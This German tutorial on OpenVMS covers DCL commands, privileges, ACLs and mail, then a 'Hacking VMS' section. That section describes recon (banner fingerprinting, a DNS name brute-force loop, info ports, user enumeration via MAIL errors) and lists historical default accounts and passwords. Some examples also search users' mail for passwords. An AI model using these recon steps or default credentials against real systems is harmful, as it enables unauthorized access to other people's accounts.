WORLD    - kann alle Prozesse veraendern

 

File:

 

DIAGNOSE – kann Geraete diagnostizieren

SYSGBL   -

VOLPRO   - kann ueber volume-Schutz hinwegschreiben

 

All:

 

BYPASS   - umgeht das UIC Checking

CMEXEC   - kann den Modus zu exec veraendern

CMKRNL   - kann den Kernel veraendern

DETACH   -

LOG_IO   -

PFNMAP   -

PHY_IO   -

READALL  - kann alles lesen

SECURITY – kann Secruity veraendern durch Zugriff auf Funktionen

SETPRV   - kann Priveligen setzen (root)

SYSNAM   - kann in die logische Tabelle System eintraege hinzugfuegen

SYSPRV   - hat SYSTEM Priveligen (root)

 

Seine Privilegien kann man sich mit

$ SHOW PROCESS /PRIVILEGE

anschauen. Dabei ist zu beachten, dass man Privilegien die nicht Standartmaessig aktiv sind, extra aktiviert werden muessen:

$ SET PROCESS /PRIVILEGE=BYPASS

Wuerde wenn erlaubt, dass BYPASS Privileg aktivieren.

 

Etwas schwieriger ist das Prinzip der ACL (Access Control List) welches ebenfalls unter VMS verwendet wird. Eine Zugriffskontrollliste entaehlt Schutzinformationen ueber ein Objekt. Diese haben das folgende Format:

 

(Typ, Option, Zugriffsart)

 

Typ:

Es gibt drei verschiedene ACL-Eintragstypen:

-Identifier-Eintraege

-Default-Protection Eintraege

-Alarmjournal Eintraege

 

Ein Identifier kann jeder UIC Wert sein so auch Gruppe oder Benutzer. Dieser Wert gibt den Benutzer auf den sich die ACL richtet.

 

Es gibt Identifier die uns automatisch von VMS zugeteilt werden. Diese Systemidentifier sind:

 

[Bezeichnung]        [Typ von Benutzer]

LOCAL                User hat loggt sich uebe ein Terminal ein

BATCH                Batch User

INTERACTIV           Interaktiver User

DIALUP               User hat sich eingewaehlt

NETWORK              Netzwerkanwendungen

REMOTE               User loggt sich uebers Netzerk ein

 

Option

 

DEFAULT    Diese Option ist nur fuer Verzeichnisse zulaessig. Jede Datei

           die in diesem Verzeichnis erstellt wird, wird mit den von uns

           besagten Zugriffsrechten bestueckt.

 

PROTECTED  Das Objekt kann nur erschwert geloescht werden. Naemlich mit

           Hilfe des ACL-Editors.

 

NOPROPAGATE Der ACL wird nicht an hoehere Versionen der Datei gegeben.

 

NONE        Wir wollen keine Optionen setzen.

 

Zugriffsarten

 

READ

WRITE

EXECUTE

DELETE

CONTROL

NONE

 

Ein ACL eintrag koennte wie folgt von statten gehen:

 

$ SET FILE /ACL=(IDENTIFIER=[REMOTE,HAVOC], OPTIONS=NONE, ACCES=NONE) *.*;*

 

Hat zur folge das HAVOC keinen zugriff mehr auf alle Dateien im Verzeichnis mehr hat.

 

Den ACL-Editor startet man mit

 

$ SET FILE /ACL /EDIT

 

 

 

 

1.7DCL

 

Wenn wir auf einem VMS System eingeloggt sind, kommunizieren wir mit VMS mit der Terminalsprache DCL (Digital Command Language). DCL unterstuetzt ueber 200 Befehlsaufrufe und Funktionen die bei der Aufgabensloesung verwendet werden koennen. DCL wurde von Digital entwickelt.

 

 

 

1.8DECnet

 

Ein DECnet besteht aus zwei oder mehr Computern die sich Nodes nennen und mit einander verbunden sind. Mit DECnet kann ein Computer auf die Ressourcen eines anderen Computers zugreifen. Das Ganze ist also mit TCP/IP Netzen vergleichbar, denn es gibt Server, Clients, Pakete und Ports. Nur erlaubt DECnet VMS Rechnern untereinander zu kommunizieren. DECnet ermoeglicht es Produkten der Produktfamilie von

                                 | | | | | | | |

                                 |d|i|g|i|t|a|l|

                                 | | | | | | | |

sich untereinander auszutauschen. DECnets erstrecken sich oft ueber mehrere (Firmen-,Buero-,Orgranisationen)Netze und koennen Weltweit sein.

 

Rechner und Betriebssysteme mit DECnet waren frueher:

Rechner          Betriebssystem

VAX              VMS

VAX              ULTRIX

PDP-11           RSX-11

PDP-11           RSTS/E

 

Heute wird man schon beim kompilen des linux Kernels gefragt, ob man das DECnet Filesystem/Tools mit implementieren moechte.

 

 

 

 

 

 

 

2.0 Jetzt wird’s interaktiv (praxis am Terminal)

 

„Wissen ist Macht-

 wie falsch gedacht!

 Wissen ist wenig-

 Koennen ist Koenig!“

 

Wenn wir interaktiv an einem VMS System arbeiten, gehen wir davon aus, dass wir mit einem Terminal arbeiten. Es tut zunaecht ersteinmal nichts zur Sache, ob wir uns via telnet mit dem VMS verbunden haben, oder ob wir gerade vor einem Terminal sizten. Wir werden uns hier auf dem Terminal bewegen und so zunaechst einmal die wichtigsten Befehle kennen lernen.

 

Wie bereits im vorigem Kapitel erwaehnt, arbeitet man an VMS Systemen mit der DCL (Digital Command Language). Ein DCL-Befehl setzt sich im groben aus drei Bausteinen zusammen. Zunaechst kommt das Befehlsverb dann die entsprechenden Parameter/Argumente die man an das aufgerufene Programm geben will. Als dritter Baustein kommen die sogenannten Qualifizierer (oder auch Optionen/Switches genannt).

 

Das Befehlsverb steht unmittelbar vor dem Prompt ($) und besteht aus einem Wort. Der Parameter gibt an auf was ein bestimmter Befehl ausgefuehrt werden soll. Die Qualifizierer dienen um das Verhalten des Befehls zu beeinflussen. Dabei gilt es von zwei Qualifizieren zu unterscheiden. Zum einen gibt es Qualifizierer die sich auf den gesamten Befehl beziehen.

 

$ COPY DATEI.LIS [.XFILES] /LOG

 

Der Qualifierer „/LOG“ bezieht sich auf das gesamte Kommando.

 

Dann gibt es noch die Qualifizierer die sich nur auf ein bestimmtes (nachfolgendes) Argument beziehen.

 

Wenn wir mit dem Terminal arbeiten moechten, ist es auch ein wichtiges sich mit den Fehlermeldungen auszukennen. Nehmen wir an wir begehen einen Schreibfehler in einem Programmaufruf:

 

$ SHWO TIME

 

%DCL-W-IVVERB, unrecognized command verb – check validity and spelling \SHWO\

 

Die Fehlermeldung besteht aus vier Teilen, wobei die ersten drei mit Bindestrichen aneinander Verbunden sind.

1. Teil des Systems          (DCL)

2. Art der Meldung           (W)

3. Kennwort der Meldung      (IVVERB)

4. Text der Meldung           (unrecognized command verb – check ...)

 

1 – gibt an von welchem Teil des Systems diese Fehlermeldung kommt. Andere Beispiele waeren BACKUP, QUEMAN oder SET.

 

2        – gibt die Art der Systemmeldung an.

„S“    Success

„I“    Information

“W”    Warning

“E”    Error

“F”    Fatal Error    

 

3        – ist ein Kuerzel der dem Benutzer Informationen zu der Fehlermeldung zu kommen lassen soll.

 

 

Was auch angesprochen werden sollte sind die Tasten-Kombos die sich in Verbindung mit CTRL ergeben.

 

 

CTRL + Y : Unterbricht das laufende Programm

CTRL + C : Vom Programm difiniert oder wirkt wie CTRL + Y

CTRL + O : Aus-/Einschalten der Terminalausgabe

CTRL + T : Auf dem Bildschirm erscheint eine Kurzinformation zum aktuellen

           Prozess

 

Kommentare werden in DCL mit dem „!“ Zeichen versehen. Alles was nach diesem Zeichen kommt, wird als Kommentar gelesen.

 

Wenn ein Befehl von besonderer Laenge ist, kann der Benutzer einfach ueber die Terminalzeile hinausschreiben. Dabei wird eine neue Zeile unten angefuegt. Andernfalls kann der Bentuzer bevor er den Rand erreicht, das „-„ Zeichen setzen. Nachdem „-„ kann er mit [return] eine neue Zeile beginnen und das Kommando vortfuehren. Das sorgt oftmals fuer eine bessere Uebersicht.

 

2.1 Arbeiten mit Dateien und Verzeichnissen

 

Als erstes muessen Wir in der Lage sein, uns auf dem System umzusehen und unser „home“ Verzeichnis zu verwalten. Dazu benoetigen wir Befehle mit denen wir Verzeichnisse wechseln/loeschen/erstellen koennen und Befehle mit denen wir in die Lage versetzt werden Dateien zu bearbeiten/loeschen.

 

Wir werden hier zunaechst Befehle durchgehen die fuer diese Zwecke unverzichbar sind und ein Beispiel vorfuehren.

 

----

 

Befehl

 

$ DIRECTORY

 

Man erhaelt eine Liste aller Dateien die in einem Verzeichnis stehen.

 

Wichte Qualifizierer

 

/SIZE

 

Zeigt die Groesse der jeweiligen Datei an.

 

/FULL

 

Zeigt umfangreiche Informationen zu jeder Datei an

 

/DATE

 

Gibt den Zeitpunkt der Dateierstellung und Bearbeitung an.

 

 

Beispiel

 

MANSON $ directory /size !wir wollen den verzeichnisinhalt sehen

 

Directory MANSON$DKA100:[USERS.LOOM]

 

LOGIN.COM;1 WELLCOM.TXT;1 MAIL.MAI;1

 

Total of 3 files.

 

----

 

Befehl

 

$ DELETE

 

Loeschen von einem Objekt.

 

Wichtige Qualifizierer

 

/CONFIRM

 

Bentutzer wird vor dem Loeschen um Erlaubnis gefragt.

 

/LOG

 

Man erhaelt nach dem loeschen einen Beitrag auf dem Bildschirm

 

/DIRECTROY

 

Ermoeglicht das Loeschen eines Verzeichnisses

 

/ENTRY

 

Loescht einen Eintrag in der Batch-Job Warteschlange

 

Beispiel

 

$ DELETE VERSUCH.C;* !loescht alle Versionen der Datei VERSUCH.C

 

----

 

Befehl

 

$ PURGE

 

Mit dem PURGE Befehl koennen alle Versionen einer Datei, ausser die zuletzt erstellte (die mit der hoechsten Versionsnummer), geloescht werden.

 

Wichtige Qualifizierer:

 

/KEEP=n

 

Die letzten n Versionen der Datei behalten

 

Beispiel

 

$ PURGE VERSUCH.C

 

----

 

Befehl

 

$ TYPE

 

Gibt den Inhalt einer Datei auf dem Bildschirm (SYS$OUTPUT) aus.

 

Wichtige Qualifizierer

 

/PAGE

 

Der Text wird nicht an einem Stueck ausgegeben, sondern wird Bildschirmseite fuer Bildschirmseite ausgegeben. Der Bentuzer kann mit [RETURN] weiterblaettern.

 

/OUTPUT=file-name

 

Schreib den Output in gewuenschte Datei.

 

Beispiel

 

$ TYPE LOGIN.COM;1 !zeigt inhalt der Datei an

$ TYPE VERSUCH.C;* !zeigt inhalt aller Versionen an

$ TYPE MAIL.DIS;1 /PAGE !zeigt den Inhalt nacheinander an

 

----

 

Befehl

 

$ CREAT /DIRECTROY

 

Erstellt ein neues Verzeichnis.

 

Wichtige Qualifizierer

 

/PROTECTION=(...)

 

Erstellt Verzeichnis mit den angegebenen Zugriffsrechten.

 

/LOG

 

Gibt bescheid wenn bei Erfolg.

 

Beispiel

 

$ CREAT /DIRECTORY [.LOG]

 

----

 

Wenn man keine Pfandangaben zu seinen Befehlen hinzufuegt werden, sucht sich VMS aus dem Standard-Directory das Zielverzeichnis. Das Standard-Directory eines Benutzers ist zunaechst einmal sein Home-Verzeichnis. Um das Standard-Verzeichnis zu veraendern und so auch seine Position im Verzeichnisbaum zu veraednern, benutzt man den befehl „SET DEFAULT“.

 

$ SET DEFAULT verzeichnis

 

Den Momentanen Standpunkt kann man sich mit dem folgendem Befehl anzeigen lassen:

 

$ SHOW DEFAULT

 

Der Befehl „cd“ wie er oft auf VMS Systemen benutzt wird ist eigentlich nichts anderes als ein logischer Name fuer den Befehl „SET DEFAULT“. Zu den logischen Namen kommen wir spaeter.

 

----

 

Befehl

 

$ COPY

 

Kopiert eine Datei.

 

Beispiel

 

$ COPY *.c;* DISK$FLOP:[c-codes] !kopiert alle C Dateien auf Diskette

                                 ! Verzeichnis [c-codes]

 

----

 

Befehl

 

$ SEARCH

 

Sucht in angegebenen Dateien nach einem Bestimmten String.

 

Beispiel

 

$ SEARCH MAIL.DIS password,Password,PASSWORD

  !sucht in der mail datei nach den drei Schluesselwoertern

 

 

-kleine session-

 

MANSON $ show default  ! wir wollen wissen wo wir uns befinden

MANSON$DKA100:[USERS.LOOM]

MANSON $ directory !wir wollen den verzeichnisinhalt sehen

 

Directory MANSON$DKA100:[USERS.LOOM]

 

LOGIN.COM;1 WELLCOM.TXT;1 MAIL.DIS;1

 

Total of 3 files.

MANSON $ type wellcom.txt;1

Hi, wellcom on our system stranger!

MANSON $ SEARCH MAIL.DIS;1  “password”

 

********************************

MANSON$DKA100:[USERS.LOOM]MAIL.MAI;1

 

 so I have changed my password to “buttermilk123”

MANSON $

 

-end-

 

 

 

2.2 Editieren

 

Das Editieren von Texten wird auf VMS Systemen mit dem EVE-Editor geregelt. EVE steht fuer Extensible Vax Editor und ist in der Lage, Texte einzugeben, korrigieren, formatieren oder duplizieren. Wir werden hier nur das wichtigste Besprechen. Fuer weitere Informationen „HELP“.

 

Zum starten des Editors nutzen wir den folgenden Aufruf:

 

$ EDIT /TPU filename

 

Zum verlassen des Editors dreucken wir die Taste [F10] (dabei werden aenderungen gespeichert).

 

Zum verlassen ohne Aenderung des Textes gehen wir folgende Schritte durch:

 

-Taste [AUSFUEHREN] / [Do] dreucken

-Hinter dem auftauchenden Prompt „Command:“ den Befehl QUIT eingeben

-Danach werden wir gefragt ob wir die Veraenderung speichen moechten

-Weil wir nicht speichern moechten beantworten wir die Frage mit „Y“

 

Falls beim editieren das System abstuerzen sollte oder die Verbindung getrennt wurde, wird der EVE Editor eine Datei mit der Endbezeichnung „TJL“ erstellen. Diese kann beim erneuten anmelden mit „EDIT /TPU /RECOVER  CRASH.TJL“ wiederhergestellt werden.

 

 

 

2.3Drucken von Texten

 

Wie auch in mir allen bekannten anderen Systemen, arbeitet auch VMS mit Druckwarteschlangen. Das bedeutet, dass wenn mehrere Druckauftraege anstehen, einer nach dem anderen gedruckt wird.

 

----

 

Befehl

 

$ PRINT filename

 

Veranlasst das Drucken von „filename“.

 

Wichtige Qualifizierer

 

/QUEUE=warteschlagne

 

Hier kann die gewuenschte Datenschlange angegeben werden.

 

/NOTIFY

 

Am Bildschirm erscheint eine Nachricht wenn der Druckauftrag beendet ist.

 

/HEADER

 

Schreibt automatisch ueber jede Seite die Seitenanzahl.

 

/COPYS=n

 

Druckt „filename“ n mal aus.

 

Beispiel

 

$ PRINT MYPROGRAMM.COM;5 /COPYS=2 /HEADER

 

----

 

Zum ueberwachen der Druckerschlange steht uns der folgende Befehl zur Verfuegung:

 

$ SHOW ENTRY

 

Jobname             Username    Entry   Blocks   Status

 

MYPROGRAMM.COM      LOOM           14       12   Printing

 

Um Informationen ueber die Warteschlange zu bekommen nutzen wir den Befehl:

 

$ SHOW QUEUE !listet alle Schlangen auf

$ SHOW QUEUE name  !zeigt Infomationen ueber die Schlange “name” an

 

Mit dem Befehl „SHOW ENTRY“ koennen wir uns die Nummer unseres Druckauftrages ansehen. Mit „DELETE /ENTRY=jobnummer“ koennen wir den Druckjob mit Jobnummer „jobnummer“ loeschen.

 

 

 

2.4 Elektronische Post

 

 

Mit E-Mails ist es ein einfaches einem Kollegen auf einem entferntem oder localem Computer eine Nachricht zukommen zu lassen. Es ist billiger als das Telefon und bringt bsw. den Vorteil, dass der Empfaenger nicht beim Versandt der Nachricht anwesend seinen brauch. Er kann die Nachricht auch spaeter lesen. Ausserdem geht die uebertragung von solchen Nachrichten blitzschnell.

 

Um eine Nachricht zu lesen starten wie „MAIL“

 

$ MAIL

 

You have 1 new message.

 

MAIL>

 

Es erscheint der Mail-Prompt mit dem wir nun arbeiten werden. Wir lassen uns alle Nachrichten im aktuellen Mail-Verzeichnis ansehen:

 

MAIL> DIRECTROY

 

Es erscheint eine Liste mit Nummern die jeweils fuer eine Nachricht stehen.

Wenn wir eine der Nachrichten lesen moechten, gibt es verschiedene Moeglichkeiten:

 

MAIL> [RETRUN] !die erste – aktuelle Nachricht

MAIL> n        !die n-te Nachricht

MAIL> BACK     !die zuletzt gelesene Nachricht

MAIL> NEXT     !die naechte Nachricht

 

Wir wollen eine Nachricht senden.

 

MAIL> SEND

To: LOUIE

Subj: U SUCK

Blah blah blah blah blah blah

Blah blah blah blah blah blah

CTRL + Z !absenden der Nachricht

         !abbrechen mit CTRL + C

 

Wenn LOUIE ein Bentuzer an einem anderm Computer waere, muesste der Aufruf wie folgt aussehen:

 

HOST::LOUIE

 

Bei mehreren empfaengern:

 

LOUIE,THOMAS,SYSTEM,ASS::PEN,...

 

Wir versenden eine Datei:

 

MAIL> SEND filename !der inhalt der Datei wird als Nachricht versandt

 

Zum Beantworten einer Nachricht:

 

-Nachricht lesen

-MAIL> REPLY !oder ANSWER – empfaenger uns Subj werden auto. Eingetragen

-Antwort eingeben

-Absenden mit CTRL + Z

 

Zum weiterleiten einer Nachricht

(mail lesen)

MAIL> FORWARD

To: KERL

Subj: YaCC - Yet another Cup of Coffee

 

Eine Kopie der gelesenen Nachricht wird auto. versandt.

 

Jetzt wollen wir noch eine Nachricht die wir gelesen haben in eine Datei ablegen.

 

(mail lesen)

MAIL> EXTRACT filename

 

Legt die komplette Mail (mit header) in Datei „filename“ ab. Mit dem Qualifizierer /NOHEADER wird nur die Nachricht gespeichert.

 

Nachrichten loeschen wir mit

 

MAIL> DELETE n,j,x,...

Oder

Mail> DELETE n-z

 

 

 

2.5      Logische Namen

 

Was logische Namen sind haben wir im ersten Kapitel besprochen. Wir wollen uns nun logische Namen in der Praxis ansehen.

 

----

 

Befehl

 

$ DEFINE objekt logischer-name

 

objekt kann sein:

-eine Geraetename

-ein Verzeichnisname

-eine Dateibezeichnung

 

Wichtige Qualifizierer

 

/PROCESS

 

Der logische Name wird in die Prozesstabelle geschrieben und gilt so nur fuer den laufenden Prozess.

 

/JOB

 

Der logsiche Name wird in die Jobtabelle geschreiben und gilt nur fuer einen Job- d.h. fuer den Prozess und seine Sub-Prozesse.

 

/GROUP

 

Der logsiche Name wird in die Gruppentabelle der Gruppe hinzugefuegt und gilt damit fuer alle Benutzer der Gruppe.

(Benoetigtes Privileg: GRPNAM oder SYSPRV)

 

/SYSTEM

 

Der logische Name wird in die Systemtabelle geschrieben und gilt fuer alle Benutzer des Systems.

(Benoetigtes Privileg: SYSNAM oder SYSPRY)

 

Beispiel

 

$ DEFINE PROJEKT [.PROGRAMMING.C]projekt.c

 

!wird ein logischer Name definiert den es bereits gibt, wird der alte ueberschrieben

 

$ TYPE PROJEKT

 

/* projekt.c */

#include <pub/beer.h>

. . .

 

----

 

Befehl

 

$ SHOW LOGICAL logsicher-name

 

Zeigt das Objekt auf welches der logsiche Name “logischer-name” Verweist.

 

Beispiel

 

$ SHOW LOGICAL PROJEKT

„PROJEKT“ = „[.PRPGRAMMING.C]projekt.c“

 

Um uns alle logsichen Namen anzeigen zu lassen schreiben wir nur

 

$ SHOW LOGICAL

 

in unser Terminal.

 

----

 

Befehl

 

$ DEASSIGN logischer-name

 

Hebt den logischen Namen auf.

 

Beispiel

 

$ DEASSIGN PROJEKT

 

----

 

 

2.6Dateischutz

 

Das Prinzip von Datenschutz unter VMS ist bereits im ersten Kapitel besprochen worden. Hier werden wir uns mit der interaktiven Handhabung dieser Zugriffsmechanismen befassen.

 

----

 

Befehl

 

$ DIRECTROY /SECURITY

 

Eine Auflistung alle Dateien und deren Zugriffsrechte.

 

Beispiel

 

$ DIRECTROY /SECURITY

 

Directory DISK$FLOP:[PROGRAMMING.C]

 

VERSUCH.C;1       [REMOTE,LOOM]         (RWE,RWED,RE, )

VERSUCH.C;2       [REMOTE,LOOM]         (RWE,RWED,RE, )

LITM.C;7          [REMOTE,LOOM]         (RWE,RWED,RE, )

GULL.C;3          [REMOTE,LOOM]         (RWE,RWED,RE, )

 

Total of 4 files.

 

----

 

Befehl

 

$ SET PROTECTION = (...)

 

Legt Zugriffsrechte erneut fest.

 

Beispiel

 

$ SET PROTECTION = (S:RWE,O:RWED,G:RWE,W)

 

! hinweis !

Aendert man Rechte eines Objekts, muss man immer die kompletten Angaben machen. Teilaenderungen sind nicht moeglich. Gibt man z.B. bei der Aenderung fuer GROUP nur Rechte „G:W“ an, sind die vorhergehenden Rechte wie R und E nicht mehr gueltig.

 

----

 

Neu erstellte Dateien werden immer mit einem Standart Schutz versehen. Dieser laesst sich mit „$ SHOW PROTECTION“ anzeigen. Mit „$ SET PROTECTION = (...) /DEFAULT” laesst sich der Standart Schutz veraendern.

 

Kommen wir nun zu ACL Schutzmechanismen in der praktischen Anwendung.

 

----

 

Befehl

 

$ DIRECTROY /ACL

 

Zeigt die ACL Zugriffstabellen fuer alle Dateien im Verzeichnis an.

 

Beispiel

 

$ DIRECTORY /ACL

 

----

 

Befehl

 

$ SHOW ACL objekt

 

Zeigt den ACL Schutz eines Objektes an.

 

Wichtige Qualifizierer

 

/OBJECT_TYPE=type      !TYPE kann sein FILE (STANDARD), DEVICE oder

                       ! LOGICAL_NAME

 

$ SHOW ACL /OBJECT_TYPE = DEVICE DUA1:

 

----

 

Befehl

 

$ SET ACL object

 

Setzen von ACL Zugriffsrechten.

Um ACL Berechtigungen fuer ein Verzeichnis zu modifizieren, setzen wir nach dem SET Auffruf das Wort „DIR“.

 

Wichtige Qualifizierer

 

/OBJECT_TYPE=type      !TYPE kann sein FILE (STANDARD), DEVICE oder

                       ! LOGICAL_NAME

 

Gibt an um welches Objekt es sich handelt.

 

/ACL=(...)             

 

ACL angaben.

 

/DELETE

 

Loescht ACL Zugriffsliste.

 

/LOG

 

Zeigt jedes Objekt an, dessen ACL modifiziert wird.

 

Beispiel

 

SET ACL /ACL=(IDENTIFIER=HAVOC+LOCAL, ACCESS = R+W+E+D) VMS-GUIDE.HTM

 

Legt fest das HAVOC wenn er local am System arbeitet, lese, schreibe, ausfuehr und loesch rechte besitzt.

 

SET DIR ACL /ACL=(IDENTIFIER=[POLITICALS,*], ACCESS=NONE) [.INFORMATION]

 

Legt fest das alle Benutzer der Gruppe POLITICALS keinen Zugriff auf das Verzeichnis INFORMATION haben.

 

Seine Privilegien kann man sich mit

$ SHOW PROCESS /PRIVILEGE

 

 

,anschauen. Dabei ist zu beachten, dass man Privilegien die nicht Standartmaessig aktiv sind, extra aktiviert werden muessen:

$ SET PROCESS /PRIVILEGE=BYPASS

Wuerde wenn erlaubt, dass BYPASS Privileg aktivieren.

 

 

2.7VMS den Prozess machen

 

Beim Anmelden am System mit Username und Password wird fuer den betreffenden Benutzer ein Prozess erzeugt. Ein Prozess kann immer nur einen Befehl oder ein Dienstprogramm ausfuehren. Daher macht es Sinn mit mehreren Prozessen zu arbeiten um in kurzer Zeit mehrere Dinge zu erledigen. Beispielsweise koennte man waehrend ein COPY Aufruf arbeitet seine Mails begutachten.

 

----

 

Befehl

 

$ SHOW SYSTEM

 

Zeigt alle Prozesse an.

 

Beispiel

 

$ SHOW SYSTEM

 

VAX/VMS V6.0 on node DIGREB  6-JUN-2001  03:12:33.53 Uptime 6 19:23:43

Pid      Process Name     State   Pri   I/O   CPU  Page flts Ph.Mem

00000021  SWAPPER         HIB     16    0   00:00:04.42    0      0

[...]

 

----

 

Befehl

 

$ SHOW PROCESS

 

Zeigt Informationen ueber den aktuellen Prozess.

 

----

 

Befehl

 

$ SPAWN

 

Erzeugt einen Sub-Prozess zum aktuellen Prozess. Beim Aufruf ohne Parameter wird ein weiteres Terminal geoeffnet, an dem gearbeitet werden kann.

 

Wichtige Qualifizierer

 

/NOWAIT dcl-befehl

 

Startet einen Hintergrundprozess und arbeitet den dcl-befehl ab.

 

Beispiel

 

$ SPAWN /NOWAIT SEARCH MAIL.DIS;* passwort,password,Password,Passwort

%DCL-S-SPAWNED, process LOOM_1 spawned

 

----

 

Befehl

 

$ SHOW PROCESS /SUBPROCESSES

 

Zeigt die Sub-Prozesse des momentanen Prozesses.

 

Beispiel

 

LOOM (*)

  LOOM_1

 

! das * zeigt an, an welchem Prozess man zur Zeit aktiv ist.

 

Man kann sich auch die Sub-Prozesse des Systems ansehen mit „$ SHOW SYSTEM /SUBPROCESSES“.

 

----

 

Befehl

 

$ STOP /IDENTIFICATION=pid

 

Beendet (falls berechtigt) den Prozess mit der angegebenen PID. Jeder Benutzer kann seine eigenen Prozesse „kill“en und mit dem Privileg WORLD kann jeder Prozess angehalten werden.

 

 

 

2.8Remote

 

Grundlegende Netzwerkfunktionen.

 

----

Befehl

 

$ SET HOST node-name

 

Baut eine Verbindung mit node-name im DECnet auf. Bei angabe von „0“ als node-name, wird eine verbindung mit dem eigenen Host hergestellt.

 

Beispiel

 

$ SET HOST VMS01

Username: loom

Password:

         Welcome on our VMS Stranger...

 

----

 

Befehl

 

$ COPY

 

Mit COPY kann man Dateien vom aktuellem Rechner auf einen entfernten kopieren.

 

Beispiel

 

$ COPY test.lis;1 VMS01::[USERS.LOOM]

Username: LOOM

Password:

 

 

 

 

 

3.0 Hacking VMS

 

 

VMS macht auf Grund seiner komplexeren Handhabung mit Zugriffsrechten/Privilegen einen sicheren Eindruck. Tatsaechlich geniesst VMS einen guten Ruf in Sachen Sicherheit. Das mag daran liegen, dass VMS noch laengst nicht so oft eingesetzt wird wie ein Solaris Betriebssystem. Bei Peer-to-Peer Netzwerken wird oft auf OpenVMS gesetzt. So entsteht ein DECnet nach dem anderen die wieder miteinander Verbunden werden. DECnets erstrecken sich ueber die ganze Welt. Mit DECnet Gateways kann ein DECnet an ein ganz normales TCP/IP Netzwerk angeschlossen werden.

 

1989 habe ich die mir erst bekannte Sicherheitswarnung in bezug auf VMS und DECnets allgemein gefunden (also bei meiner suche- da war ich noch nich im kindergarten...). Dabei ging es darum, dass sich mehr und mehr Angreifer via Modem und einem Wardialer sich im DECnet breit machten. In der Regel durch nicht geaenderte Standartpasswoerter (wird dieser Wahnsinn jemals enden?!)- ein Problem das man auch heute noch oft findet, besonders bei Netzwerkgeraeten. Die Sicherheitswarnung empfahl jedenfalls allen Systemadministratoren ihre Passwoerter-Policy erheblich zu verbessern.

 

Ziel des Angreifers sind wie immer hoehere Zugriffsbefugnisse. Unter VMS also entweder den SYSTEM Account oder hoehere Privilegien. Wenn es einmal so weit ist, kann ein Angreifer von diesem System aus weiter durch die weiten des DECnet´s wandern.

 

Ueber den lauf der Jahre von damals bis jetzt, gab es immer wieder mal vereinzelte Meldungen die auf Probleme bei der VMS Sicherheit hinwiesen. Man kann fast sagen jedes Jahr ca. 3 wirkliche Sicherheitsprobleme. Es liegt auf der Hand das es auch bei VMS Anwendungen zu Sicherheitsmaengel kommen muss. Schliesslich sind VMS Programmierer auch nur Menschen und so haben sich auch hier Sicherheitsprobleme durch „Programmierfehler“ entwickelt.

 

 

 

3.1    OS Detection und andere Informationen

 

Zunaechstmal muss ein Angreifer wissen mit welchem OS er es zu tun hat. Man kann entweder beim Wardailen oder in einem TCP/IP (oder IPX) Netzwerk auf ein VMS System oder ein DECnet treffen.

 

Indikator fuer ein VMS System ist oftmals noch der Banner der beim Einloggen ausgegeben wird, bsw:

 

 Wellcome to VMS01 under VMS 5.3

 

Dieser Banner kann aber geaendert werden.

 

Danach folgt die Anforderung nach einem Bentzernamen und einem Password.

 

Username: LOOM

Password: [invisible]

 

Hier ist nichts wirklich auffaeliges festzustellen. Auffaelig wird dann, wenn wir ein falschen Password eingeben:

 

„User authorization failure“

 

Ein weiterer Indikator fuer ein VMS System ist dann zu erkennen, wenn wir beim login CTRL+Z druecken.

 

Error reading command input”

 

Falls man das VMS System ueber ein TCP Netz erreichen kann, gelten die selben OS-Detection Tricks. Beispielsweise passives Fingerprinting. „nmap“ sollte VMS Systeme auch erkennen.

 

Manche VMS Systeme lassen sich auch schon an ihrem DNS Namen erkennen (vms01.domain.za). Ein einfaches Shell-Scribt fuer Unix waehre ein DNS Namen Brutforcer:

 

~ > cat >host.lis<<END

vms

vms1

vms01

vax

vmasvax

[...]

END

 

~ > for I in `cat host.lis`; do nslookup $I.domain.za 2>/dev/null; done

 

Das Telnet utility kann ebenfalls interessante Informationen geben. Einige Ports wie 11 oder 15 sind Standartmaessig aktiv und bringen so wissenswertes ueber das System unter die Leute. Beispielsweise angemeldete Benutzer, Routingtabellen, Netstat...

 

Ein eingeloggter Bentuzer kann mit Hilfe des Befehls

$ TELNET VMS.HOST.NET /PORT=15

sich mit dem Netstatport verbinden.

 

Um die aktiv am System arbeitenden Benutzer zu sehen reicht der folgende Aufruf:

 

$ FINGER

 

um naehere Informationen ueber einen USER zu bekommen „FINGER USERNAME“.

 

Ein anderer Weg um Festzustellen ob ein Bentuzer Existiert oder nicht ist das Programm „MAIL“.

 

Ein Beispiel:

 

$ MAIL TEST.TXT EXISTING-USER /SUBJECT=“TEST“

 

Der Bentuzer EXISTING-USER ist ein existierender Benutzer des Systems, daher wird keine Fehlermeldung ausgegeben.

 

$ MAIL TEST.TXT NON-EXISTING /SUBJECT=“TEST“

%MAIL-E-NOSUCHUSR, no such user NON-EXISTING

 

So koennen wir Benutzername fuer Benutzername abklappern und so feststellen welche Benutzer existieren und welche nicht.

 

Um eine Ausgabe wie bei „netstat“ zu erhalten kann man den Befehl „SHOW NETWORK“ verwenden.

 

 

3.2    Passwort Attacken

 

Wo Passwoerter sind, da sind auch Sicherheitsprobleme mit Passwoertern. Das kommt oft dadurch, dass Benutzer sich nicht der Bedeutung eines guten Passwortes bewusst sind. Ein gutes Passwort steht weder in einem Lexikon noch in einem Duden (wieso werden wir gleich erlaeutern). Es ist empfehlenswert Gross-, und Kleinschreibung zu waehlen. Ausserdem sollten noch Zahlen oder andere Zeichen enthalten sein. Ein einfaches Beispiel- passwort welches auch noch einfach zu merken ist waehre zum Beispiel:

 

MeinCh3fIstChef

 

Passwoerter werden in der Datei SYSUAF.DAT aufgewahrt und befinden sich im Verzeichnis SYS$SYSTEM. Bei aelteren VMS Systemen, war diese Datei fuer alle Bentuzer lesbar (genau wie die /etc/passwd bei *NIX Systemen, wo es noch keine shodow´ed Passwoerter gab). Diese Zeiten sind vorbei! Die Datei SYSUAF.DAT bleibt normalen bentuzern veraehrt (es sei denn der „nomale“ Benutzer verfuegt ueber Privilegien wie BYPASS).

 

Es gab wie bereits erwaehnt bei aelteren VMS Systemen noch viele Standart Passwoerter wie z.B. SYSTEM [ENTER]. Wobei SYSTEM der Administrator Account schlecht hin ist. Hier einige Klassische/Historische Standart Accounts:

 

[Account]    [Passwort]

 

DECNET       DECNET

DEFAULT      DEFAULT

DEMO         DEMO

 

FIELD        FIELD

SERVICE

GUEST        GUEST

OPERATOR     OPERATOR

OPERATIONS   OPERATIONS

SYSMAINT     SYSMAINT

SERVICE

DIGITAL

SYSTEM        SYSTEM

MANAGER

OPERATOR

SYSLIB

SYSTEST       UETP

SYSTEST

SYSTEST_CLIG  CLIG

SYSTEST

TEST

SUPPORT       SUPPORT

DEC

 

